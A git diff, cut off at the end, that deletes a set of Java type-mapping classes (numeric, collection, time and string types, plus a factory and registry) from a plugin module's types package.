diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/FloatType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/FloatType.java deleted file mode 100644 index 633b70e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/FloatType.java +++ /dev/null @@ -1,57 +0,0 @@ -package org.code.modules.plugins.types; - - - -import com.luqj.util.NumFormat; - -import java.io.Serializable; - -public class FloatType extends PrimitiveType implements StandardType{ - - - public static final StandardType BASE = new FloatType(); - - private FloatType() { - super("std.Float", "Float"); - } - - public FloatType(int length, int precsn) { - super("std.Float", "Float",length, precsn); - } - - @Override - public Class getReturnedClass() { - return Float.class; - } - - @Override - public int typeCode() { - return TypesCode.FLOAT; - } - - @Override - public Class getPrimitiveClass() { - return float.class; - } - - @Override - public Serializable getDefaultValue() { - return new Float(0.0); - } - - @Override - public String format(Object obj) { - return NumFormat.toString((Float)obj); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return NumFormat.$Float(xml); - } - - @Override - public boolean isNull(Object obj) { - return obj == null; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/HashMapType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/HashMapType.java deleted file mode 100644 index 31d733c..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/HashMapType.java +++ /dev/null @@ -1,95 +0,0 @@ -package org.code.modules.plugins.types; - - - -import com.luqj.util.assertion.Assert; -import com.luqj.util.reflect.ClassUtils; - -import java.lang.reflect.Field; -import java.util.*; - -public class HashMapType extends AbstractType implements StandardMutlValType{ - - public static final StandardMutlValType BASE = new HashMapType(); - - private Class specificType; - - private HashMapType() { - super("std.HashMap", "HashMap"); - } - - - public HashMapType(Class specificType) { - super("std.HashMap", "HashMap"); - this.specificType = specificType; - } - - - - @Override - public Object fromEntityValue(Collection entitys) - throws Exception { - Assert.notNull(entitys); - HashMap value = new HashMap(); - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - for (ValEntity valEntity : entitys) { - value.put(valEntity.keyName, vType.format(valEntity.value)); - } - }else{ - for (ValEntity valEntity : entitys) { - value.put(valEntity.keyName, valEntity.value); - } - } - - return value; - } - - @Override - public Class getReturnedClass() { - return HashMap.class; - } - - @Override - public int typeCode() { - return 0; - } - - @Override - public Class getSpecific() { - return this.specificType; - } - - - - @Override - public Collection format(Object obj) { - List values = new ArrayList(); - Map vObj = (Map) obj; - int i = 0; - for (String key : vObj.keySet()) { - StandardType vType = StdTypes.transToStandardType(specificType); - values.add(new ValEntity(key,i++,vType.format(vObj.get(key)))); - } - return values; - } - - - @Override - public StandardMutlValType instanceType(Field f) { - return new HashMapType((Class) ClassUtils.getMapFieldGenericity(f)[1]); - } - - - @Override - public StandardMutlValType instanceType(Class sType) { - return new HashMapType(sType); - } - - - @Override - public boolean isNull(Object obj) { - return obj == null || ((Map)obj).isEmpty(); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/HashSetType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/HashSetType.java deleted file mode 100644 index f5ab92c..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/HashSetType.java +++ /dev/null @@ -1,92 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.assertion.Assert; -import com.luqj.util.reflect.ClassUtils; - -import java.lang.reflect.Field; -import java.util.*; - -public class HashSetType extends AbstractType implements StandardMutlValType{ - - public static final StandardMutlValType BASE = new HashSetType(); - - private Class specificType; - - private HashSetType() { - super("std.HashSet", "HashSet"); - } - - - public HashSetType(Class specificType) { - super("std.HashSet", "HashSet"); - this.specificType = specificType; - } - - - - @Override - public Object fromEntityValue(Collection entitys) - throws Exception { - Assert.notNull(entitys); - HashSet value = new HashSet(); - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - for (ValEntity valEntity : entitys) { - value.add(vType.format(valEntity.value)); - } - }else{ - for (ValEntity valEntity : entitys) { - value.add(valEntity.value); - } - } - - return value; - } - - @Override - public Class getReturnedClass() { - return HashSet.class; - } - - @Override - public int typeCode() { - return 0; - } - - @Override - public Class getSpecific() { - return this.specificType; - } - - - - @Override - public Collection format(Object obj) { - List values = new ArrayList(); - Set vObj = (Set) obj; - int i = 0; - for (Object val : vObj) { - StandardType vType = StdTypes.transToStandardType(specificType); - values.add(new ValEntity(i++,vType.format(val))); - } - return values; - } - - - @Override - public StandardMutlValType instanceType(Class sType) { - return new HashSetType(sType); - } - - - @Override - public StandardMutlValType instanceType(Field f) { - return new HashSetType((Class) ClassUtils.getSetFieldGenericity(f)); - } - - @Override - public boolean isNull(Object obj) { - return obj == null || ((HashSet)obj).isEmpty(); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/IntegerType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/IntegerType.java deleted file mode 100644 index ff86338..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/IntegerType.java +++ /dev/null @@ -1,55 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.NumFormat; - -import java.io.Serializable; - -public class IntegerType extends PrimitiveType implements StandardType{ - - - public static final StandardType BASE = new IntegerType(); - - public IntegerType() { - super("std.Integer", "Integer", 4, 0); - } - - private static final Integer ZERO = new Integer(0); - - @Override - public Class getReturnedClass() { - return Integer.class; - } - - @Override - public Class getPrimitiveClass() { - return int.class; - } - - @Override - public Serializable getDefaultValue() { - return ZERO; - } - - @Override - public int typeCode() { - return TypesCode.INTEGER; - } - - @Override - public String format(Object obj) { - return NumFormat.toString((Integer)obj); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return NumFormat.$Intger(xml); - } - - @Override - public boolean isNull(Object obj) { - return obj == null; - } - - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/ListType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/ListType.java deleted file mode 100644 index c81bec0..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/ListType.java +++ /dev/null @@ -1,111 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.assertion.Assert; -import com.luqj.util.reflect.ClassUtils; -import net.sf.json.JSONArray; - -import java.lang.reflect.Field; -import java.util.ArrayList; -import java.util.Collection; -import java.util.List; - -public class ListType extends AbstractType implements StandardMutlValType{ - - public static final StandardMutlValType BASE = new ListType(); - - private Class specificType; - - public ListType() { - super("std.List", "List"); - } - - - @Override - public boolean isNull(Object obj) { - return obj == null || ((List)obj).isEmpty(); - } - - public ListType(Class specificType) { - super("std.List", "List"); - this.specificType = specificType; - } - - - - public List fromString(String strVal,Class clazz){ - // 转换方法1 - JSONArray array = JSONArray.fromObject(strVal); - return JSONArray.toList(array, clazz); - } - - public String toString(List strVal){ - return String.valueOf(JSONArray.fromObject(strVal)); - } - - - - @Override - public Object fromEntityValue(Collection entitys) - throws Exception { - Assert.notNull(entitys); - ArrayList value = new ArrayList(entitys.size()); - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - for (ValEntity valEntity : entitys) { - value.add(valEntity.index,vType.format(valEntity.value)); - } - }else{ - for (ValEntity valEntity : entitys) { - value.add(valEntity.index,valEntity.value); - } - } - - return value; - } - - @Override - public Class getReturnedClass() { - return List.class; - } - - @Override - public int typeCode() { - return 0; - } - - @Override - public Class getSpecific() { - return this.specificType; - } - - - - @Override - public Collection format(Object obj) { - List values = new ArrayList(); - List vObj = (List) obj; - int i = 0; - for (Object val : vObj) { - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - values.add(new ValEntity(i++,vType.format(val))); - }else{ - values.add(new ValEntity(i++,val)); - } - } - return values; - } - - - @Override - public StandardMutlValType instanceType(Class sType) { - return new ListType(sType); - } - - - @Override - public StandardMutlValType instanceType(Field f) { - return new ListType((Class) ClassUtils.getListGenericity(f)); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/LongType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/LongType.java deleted file mode 100644 index 020654f..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/LongType.java +++ /dev/null @@ -1,52 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.NumFormat; - -import java.io.Serializable; - -public class LongType extends PrimitiveType implements StandardType{ - - private static final Long ZERO = new Long(0); - - public static final StandardType BASE = new LongType(); - - public LongType() { - super("std.Long", "Long",8, 0); - } - - @Override - public Class getReturnedClass() { - return Long.class; - } - - @Override - public int typeCode() { - return TypesCode.BIGINT; - } - - @Override - public Class getPrimitiveClass() { - return long.class; - } - - @Override - public Serializable getDefaultValue() { - return ZERO; - } - - @Override - public String format(Object obj) { - return NumFormat.toString((Long)obj); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return NumFormat.$Long(xml); - } - - @Override - public boolean isNull(Object obj) { - return obj == null; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/MapType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/MapType.java deleted file mode 100644 index 378886e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/MapType.java +++ /dev/null @@ -1,92 +0,0 @@ -package org.code.modules.plugins.types; - - -import com.luqj.util.assertion.Assert; -import com.luqj.util.reflect.ClassUtils; - -import java.lang.reflect.Field; -import java.util.*; - -public class MapType extends AbstractType implements StandardMutlValType{ - - public static final StandardMutlValType BASE = new MapType(); - - private Class specificType; - - private MapType() { - super("std.Map", "Map"); - } - - @Override - public boolean isNull(Object obj) { - return obj == null || ((Map)obj).isEmpty(); - } - - public MapType(Class specificType) { - super("std.Map", "Map"); - this.specificType = specificType; - } - - - - @Override - public Object fromEntityValue(Collection entitys) - throws Exception { - Assert.notNull(entitys); - HashMap value = new HashMap(); - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - for (ValEntity valEntity : entitys) { - value.put(valEntity.keyName, vType.format(valEntity.value)); - } - }else{ - for (ValEntity valEntity : entitys) { - value.put(valEntity.keyName, valEntity.value); - } - } - return value; - } - - @Override - public Class getReturnedClass() { - return Map.class; - } - - @Override - public int typeCode() { - return 0; - } - - @Override - public Class getSpecific() { - return this.specificType; - } - - - - @Override - public Collection format(Object obj) { - List values = new ArrayList(); - Map vObj = (Map) obj; - int i = 0; - for (String key : vObj.keySet()) { - StandardType vType = StdTypes.transToStandardType(specificType); - values.add(new ValEntity(key,i++,vType.format(vObj.get(key)))); - } - return values; - } - - - @Override - public StandardMutlValType instanceType(Field f) { - Class type = (Class) ClassUtils.getMapFieldGenericity(f)[1]; - return new MapType(type); - } - - - @Override - public StandardMutlValType instanceType(Class sType) { - return new MapType(sType); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/NonStandardType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/NonStandardType.java deleted file mode 100644 index 6a72be8..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/NonStandardType.java +++ /dev/null @@ -1,11 +0,0 @@ -package org.code.modules.plugins.types; - - -public class NonStandardType extends AbstractType{ - - public NonStandardType(String name, String code, int length, int precsn) { - super(name, code, length, precsn); - } - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/NumberType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/NumberType.java deleted file mode 100644 index f1c9332..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/NumberType.java +++ /dev/null @@ -1,42 +0,0 @@ -package org.code.modules.plugins.types; - - -public class NumberType extends AbstractType implements StandardType{ - - - public static final StandardType BASE = new NumberType(0); - - public NumberType(int length) { - super("std.Number", "Number",length, 0); - } - - @Override - public Class getReturnedClass() { - return Number.class; - } - - @Override - public int typeCode() { - return TypesCode.VARCHAR; - } - - @Override - public String format(Object obj) { - return obj != null ? obj.toString(): ""; - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return xml; - } - - @Override - public boolean isNull(Object obj) { - return null == obj; - } - - - - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/ObjType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/ObjType.java deleted file mode 100644 index 43ac3cb..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/ObjType.java +++ /dev/null @@ -1,52 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.NumFormat; - - -public class ObjType extends AbstractType implements StandardType{ - - public static final StandardType BASE = new ObjType(); - - private Class specificType; - - public ObjType() { - super("std.Object", "Object",32, 0); - } - - public ObjType(Class specificType) { - super("std.Object", "Object",32, 0); - this.specificType = specificType; - } - - @Override - public Class getReturnedClass() { - return Object.class; - } - - @Override - public int typeCode() { - return 0; - } - - @Override - public String format(Object obj) { - return obj.toString(); - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return NumFormat.$Long(xml); - } - - public Class getSpecificType() { - return specificType; - } - - @Override - public boolean isNull(Object obj) { - return obj == null; - } - - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/PrimitiveType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/PrimitiveType.java deleted file mode 100644 index 8c90679..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/PrimitiveType.java +++ /dev/null @@ -1,22 +0,0 @@ -package org.code.modules.plugins.types; - -import java.io.Serializable; - -public abstract class PrimitiveType extends AbstractType{ - - public PrimitiveType(String name, String code,int length, int precsn) { - super(name, code,length, precsn); - } - - protected PrimitiveType(String name, String code) { - super(name, code); - } - - public abstract Class getPrimitiveClass(); - - public String toString(Object value) { - return value.toString(); - } - - public abstract Serializable getDefaultValue(); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/SetType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/SetType.java deleted file mode 100644 index 38d1d71..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/SetType.java +++ /dev/null @@ -1,95 +0,0 @@ -package org.code.modules.plugins.types; - - -import com.luqj.util.assertion.Assert; -import com.luqj.util.reflect.ClassUtils; - -import java.lang.reflect.Field; -import java.util.*; - -public class SetType extends AbstractType implements StandardMutlValType{ - - public static final StandardMutlValType BASE = new SetType(); - - private Class specificType; - - private SetType() { - super("std.Set", "Set"); - } - - - public SetType(Class specificType) { - super("std.Set", "Set"); - this.specificType = specificType; - } - - - - @Override - public Object fromEntityValue(Collection entitys) - throws Exception { - Assert.notNull(entitys); - Set value = new HashSet(); - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - for (ValEntity valEntity : entitys) { - value.add(vType.format(valEntity.value)); - } - }else{ - for (ValEntity valEntity : entitys) { - value.add(valEntity.value); - } - } - - return value; - } - - @Override - public Class getReturnedClass() { - return Set.class; - } - - @Override - public int typeCode() { - return 0; - } - - @Override - public Class getSpecific() { - return this.specificType; - } - - - - @Override - public Collection format(Object obj) { - List values = new ArrayList(); - Set vObj = (Set) obj; - int i = 0; - for (Object val : vObj) { - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - values.add(new ValEntity(i++,vType.format(val))); - }else{ - values.add(new ValEntity(i++,val)); - } - } - return values; - } - @Override - public boolean isNull(Object obj) { - return obj == null || ((Set)obj).isEmpty(); - } - - @Override - public StandardMutlValType instanceType(Class sType) { - return new SetType(sType); - } - - - @Override - public StandardMutlValType instanceType(Field f) { - return new SetType((Class) ClassUtils.getSetFieldGenericity(f)); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/ShortType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/ShortType.java deleted file mode 100644 index bacad3a..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/ShortType.java +++ /dev/null @@ -1,57 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.NumFormat; - -import java.io.Serializable; - -public class ShortType extends PrimitiveType implements StandardType{ - - private static final Short ZERO = new Short( (short) 0 ); - - public static final StandardType BASE = new ShortType(); - - public ShortType() { - super("std.Short", "Short",2, 0); - } - - - @Override - public Class getReturnedClass() { - return Short.class; - } - - @Override - public int typeCode() { - return TypesCode.SMALLINT; - } - - @Override - public Class getPrimitiveClass() { - return short.class; - } - - @Override - public Serializable getDefaultValue() { - return ZERO; - } - - - @Override - public Object fromStringValue(String xml) throws Exception { - // TODO Auto-generated method stub - return NumFormat.$Short(xml); - } - - - @Override - public String format(Object obj) { - return NumFormat.toString((Short)obj); - } - - - @Override - public boolean isNull(Object obj) { - return obj == null || ((Short)obj) == 0; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardMutlValType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardMutlValType.java deleted file mode 100644 index 8517d2c..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardMutlValType.java +++ /dev/null @@ -1,48 +0,0 @@ -package org.code.modules.plugins.types; - -import java.lang.reflect.Field; -import java.util.Collection; - -public interface StandardMutlValType extends Type{ - - - StandardMutlValType instanceType(Class sType); - - StandardMutlValType instanceType(Field field); - - Collection format(Object obj); - - public Object fromEntityValue(Collection entitys) throws Exception; - - public Class getSpecific(); - - public boolean isNull(Object obj); - /** - * 返回类型 - * @return - */ - public Class getReturnedClass(); - - public int typeCode(); - - public static class ValEntity{ - public String keyName; - public int index; - public Object value; - public ValEntity(String keyName, int index, Object value) { - super(); - this.keyName = keyName; - this.index = index; - this.value = value; - } - public ValEntity(int index, Object value) { - super(); - this.index = index; - this.value = value; - } - - - } - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardType.java deleted file mode 100644 index e625daa..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardType.java +++ /dev/null @@ -1,20 +0,0 @@ -package org.code.modules.plugins.types; - - -public interface StandardType extends Type{ - - String format(Object obj); - - boolean isNull(Object obj); - - public Object fromStringValue(String xml) throws Exception; - - /** - * 返回类型 - * @return - */ - public Class getReturnedClass(); - - public int typeCode(); - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardTypeFactory.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardTypeFactory.java deleted file mode 100644 index 5a9b486..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StandardTypeFactory.java +++ /dev/null @@ -1,58 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.assertion.Assert; - -public class StandardTypeFactory { - - - public static StandardMutlValType createType(String name,int length){ - if("List".equalsIgnoreCase(name)){ - return new ListType(); - }else{ - Assert.fail("找不到指定的标准型["+name+"]"); - return null; - } - } - - - public static StandardType createType(String name,int length,int precsn){ - if("Boolean".equalsIgnoreCase(name)){ - return new BooleanType(); - }else if("Byte".equalsIgnoreCase(name)){ - return new ByteType(); - }else if("Short".equalsIgnoreCase(name)){ - return new ShortType(); - }else if("Integer".equalsIgnoreCase(name)){ - return new IntegerType(); - }else if("Long".equalsIgnoreCase(name)){ - return new LongType(); - }else if("BigInteger".equalsIgnoreCase(name)){ - return new BigIntegerType(length); - }else if("Float".equalsIgnoreCase(name)){ - return new FloatType(length,precsn); - }else if("Double".equalsIgnoreCase(name)){ - return new DoubleType(length,precsn); - }else if("BigDecimal".equalsIgnoreCase(name)){ - return new BigDecimalType(length,precsn); - }else if("Blob".equalsIgnoreCase(name)){ - return new BlobType(length); - }else if("String".equalsIgnoreCase(name)){ - return new StringType(length); - }else if("Text".equalsIgnoreCase(name)){ - return new TextType(length); - }else if("Time".equalsIgnoreCase(name)){ - return new TimeType(); - }else if("Timestamp".equalsIgnoreCase(name)){ - return new TimestampType(); - }else if("Date".equalsIgnoreCase(name)){ - return new DateType(); - }else if("Object".equals(name) || "LinkedList".equals(name) || "ArrayList".equals(name)){ - return new ObjType(); - }else if("byte[]".equals(name)){ - return new BlobType(length); - }else{ - Assert.fail("找不到指定的标准型["+name+"]"); - return null; - } - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StdTypes.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/StdTypes.java deleted file mode 100644 index 0857dcd..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StdTypes.java +++ /dev/null @@ -1,152 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.assertion.Assert; - -import java.util.HashMap; -import java.util.HashSet; -import java.util.Set; - -public class StdTypes { - - public static HashMap, StandardType> _stdSimpleTypes = new HashMap, StandardType>(); - static{ - _stdSimpleTypes.put(BigDecimalType.BASE.getReturnedClass(), BigDecimalType.BASE); - _stdSimpleTypes.put(BigIntegerType.BASE.getReturnedClass(), BigIntegerType.BASE); - _stdSimpleTypes.put(BooleanType.BASE.getReturnedClass(), BooleanType.BASE); - _stdSimpleTypes.put(boolean.class, BooleanType.BASE); - _stdSimpleTypes.put(ByteType.BASE.getReturnedClass(), ByteType.BASE); - _stdSimpleTypes.put(byte.class, ByteType.BASE); - _stdSimpleTypes.put(DateType.BASE.getReturnedClass(), DateType.BASE); - _stdSimpleTypes.put(DoubleType.BASE.getReturnedClass(), DoubleType.BASE); - _stdSimpleTypes.put(double.class, DoubleType.BASE); - _stdSimpleTypes.put(FloatType.BASE.getReturnedClass(), FloatType.BASE); - _stdSimpleTypes.put(float.class, FloatType.BASE); - _stdSimpleTypes.put(IntegerType.BASE.getReturnedClass(), IntegerType.BASE); - _stdSimpleTypes.put(int.class, IntegerType.BASE); - _stdSimpleTypes.put(LongType.BASE.getReturnedClass(), LongType.BASE); - _stdSimpleTypes.put(long.class, LongType.BASE); - _stdSimpleTypes.put(ShortType.BASE.getReturnedClass(), ShortType.BASE); - _stdSimpleTypes.put(Short.class, ShortType.BASE); - _stdSimpleTypes.put(StringType.BASE.getReturnedClass(), StringType.BASE); - _stdSimpleTypes.put(TimestampType.BASE.getReturnedClass(), TimestampType.BASE); - _stdSimpleTypes.put(TimeType.BASE.getReturnedClass(), TimeType.BASE); - _stdSimpleTypes.put(ObjType.BASE.getReturnedClass(), ObjType.BASE); - _stdSimpleTypes.put(BlobType.BASE.getReturnedClass(), BlobType.BASE); - } - - - public static HashMap, StandardMutlValType> _stdMapValTypes = new HashMap, StandardMutlValType>(); - static{ - _stdMapValTypes.put(HashMapType.BASE.getReturnedClass(), HashMapType.BASE); - _stdMapValTypes.put(TreeMapType.BASE.getReturnedClass(), TreeMapType.BASE); - _stdMapValTypes.put(MapType.BASE.getReturnedClass(), MapType.BASE); - } - - public static HashMap, StandardMutlValType> _stdSetValTypes = new HashMap, StandardMutlValType>(); - static{ - _stdSetValTypes.put(SetType.BASE.getReturnedClass(), SetType.BASE); - _stdSetValTypes.put(HashSetType.BASE.getReturnedClass(), HashSetType.BASE); - _stdSetValTypes.put(TreeSetType.BASE.getReturnedClass(), TreeSetType.BASE); - } - - public static HashMap, StandardMutlValType> _stdListValTypes = new HashMap, StandardMutlValType>(); - static{ - _stdListValTypes.put(ListType.BASE.getReturnedClass(), ListType.BASE); - } - - - public static HashMap, StandardMutlValType> _stdMultValTypes = new HashMap, StandardMutlValType>(); - static{ - _stdMultValTypes.putAll(_stdMapValTypes); - _stdMultValTypes.putAll(_stdSetValTypes); - _stdMultValTypes.putAll(_stdListValTypes); - } - - - - - - - - private static Set> NUMBER_TYPES = new HashSet>(); - static{ - NUMBER_TYPES.add(Double.class); - NUMBER_TYPES.add(Long.class); - NUMBER_TYPES.add(Integer.class); - NUMBER_TYPES.add(Short.class); - NUMBER_TYPES.add(Byte.class); - - NUMBER_TYPES.add(double.class); - NUMBER_TYPES.add(long.class); - NUMBER_TYPES.add(int.class); - NUMBER_TYPES.add(short.class); - NUMBER_TYPES.add(byte.class); - } - - - private static Set> SIMPLE_TYPES = new HashSet>(); - static{ - SIMPLE_TYPES.add(String.class); - SIMPLE_TYPES.add(Character.class); - SIMPLE_TYPES.addAll(NUMBER_TYPES); - } - - - public static StandardType transToStandardType(Class t){ - Assert.logic(_stdSimpleTypes.containsKey(t),"只能转换基本类型,但类型为["+t+"]"); - return _stdSimpleTypes.get(t); - } - - public static StandardMutlValType getStandardMultTypeByName(String name){ - Assert.hasLength(name,"类型名不允许为空"); - for (StandardMutlValType type : _stdMultValTypes.values()) { - if(type.getName().equals(name)){ - return type; - } - } - Assert.fail("找不到名称["+name+"]的标准类型"); - return null; - } - - public static StandardType getStandardTypeByName(String name){ - Assert.hasLength(name,"类型名不允许为空"); - for (StandardType type : _stdSimpleTypes.values()) { - if(type.getName().equals(name)){ - return type; - } - } - Assert.fail("找不到名称["+name+"]的标准类型"); - return null; - } - - - public static StandardMutlValType transToStandardMutlValType(Class t){ - Assert.logic(_stdMultValTypes.containsKey(t),"类型为["+t+"],无法找到相应的标准型"); - return _stdMultValTypes.get(t); - } - - public static boolean isMutlType (Class t){ - return _stdMultValTypes.containsKey(t); - } - - public static boolean isMapType(Class t){ - return _stdMapValTypes.containsKey(t); - } - - public static boolean isSetType(Class t){ - return _stdSetValTypes.containsKey(t); - } - - public static boolean isListType(Class t){ - return _stdListValTypes.containsKey(t); - } - - - public static boolean isSimpleType(Class t){ - return _stdSimpleTypes.containsKey(t); - } - - public static boolean isNumberType(Class t){ - return NUMBER_TYPES.contains(t); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StringType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/StringType.java deleted file mode 100644 index c8d9dfd..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/StringType.java +++ /dev/null @@ -1,41 +0,0 @@ -package org.code.modules.plugins.types; - -public class StringType extends AbstractType implements StandardType{ - - - public static final StandardType BASE = new StringType(0); - - public StringType(int length) { - super("std.String", "String",length, 0); - } - - @Override - public Class getReturnedClass() { - return String.class; - } - - @Override - public int typeCode() { - return TypesCode.VARCHAR; - } - - @Override - public String format(Object obj) { - return obj != null ? obj.toString(): ""; - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return xml; - } - - @Override - public boolean isNull(Object obj) { - return null == obj; - } - - - - - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TextType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/TextType.java deleted file mode 100644 index d350173..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TextType.java +++ /dev/null @@ -1,38 +0,0 @@ -package org.code.modules.plugins.types; - - -import com.luqj.util.StringUtils; - -public class TextType extends AbstractType implements StandardType{ - public static final StandardType BASE = new TextType(15000); - - public TextType(int length) { - super("std.Text", "Text",length, 0); - } - - @Override - public Class getReturnedClass() { - return String.class; - } - - @Override - public int typeCode() { - return TypesCode.CLOB; - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return xml; - } - - @Override - public String format(Object obj) { - return null; - } - - @Override - public boolean isNull(Object obj) { - return StringUtils.isBlank((String) obj); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TimeType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/TimeType.java deleted file mode 100644 index 8d52ba4..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TimeType.java +++ /dev/null @@ -1,48 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.NumFormat; - -import java.sql.Time; -import java.text.ParseException; -import java.text.SimpleDateFormat; - -public class TimeType extends AbstractType implements StandardType{ - - private static final String TIME_FORMAT = "HH:mm:ss"; - - public static final StandardType BASE = new TimeType(); - - public TimeType() { - super("std.Time", "Time",6, 0); - } - - @Override - public Class getReturnedClass() { - return Time.class; - } - - @Override - public int typeCode() { - return TypesCode.TIME; - } - - @Override - public Object fromStringValue(String string) throws Exception { - try { - return new SimpleDateFormat(TIME_FORMAT).parse(string); - }catch (ParseException pe) { - throw pe; - } - } - - @Override - public String format(Object obj) { - return obj != null ? NumFormat.toString(((Time)obj).getTime()) : ""; - } - - @Override - public boolean isNull(Object obj) { - return obj == null; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TimestampType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/TimestampType.java deleted file mode 100644 index 05d2d17..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TimestampType.java +++ /dev/null @@ -1,44 +0,0 @@ -package org.code.modules.plugins.types; - - -import com.luqj.util.NumFormat; - -import java.sql.Timestamp; - - -public class TimestampType extends AbstractType implements StandardType{ - - private static final String TIMESTAMP_FORMAT = "yyyy-MM-dd HH:mm:ss"; - - public static final StandardType BASE = new TimestampType(); - - public TimestampType() { - super("std.Timestamp", "Timestamp",14, 0); - } - - @Override - public Class getReturnedClass() { - return Timestamp.class; - } - - @Override - public int typeCode() { - return TypesCode.TIMESTAMP; - } - - @Override - public String format(Object obj) { - return obj != null ? NumFormat.toString(((Timestamp)obj).getTime()) : ""; - } - - @Override - public Object fromStringValue(String xml) throws Exception { - return NumFormat.$Long(xml); - } - - @Override - public boolean isNull(Object obj) { - return obj == null; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TreeMapType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/TreeMapType.java deleted file mode 100644 index 6580dc8..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TreeMapType.java +++ /dev/null @@ -1,90 +0,0 @@ -package org.code.modules.plugins.types; - -import com.luqj.util.assertion.Assert; -import com.luqj.util.reflect.ClassUtils; - -import java.lang.reflect.Field; -import java.util.*; - -public class TreeMapType extends AbstractType implements StandardMutlValType{ - - public static final StandardMutlValType BASE = 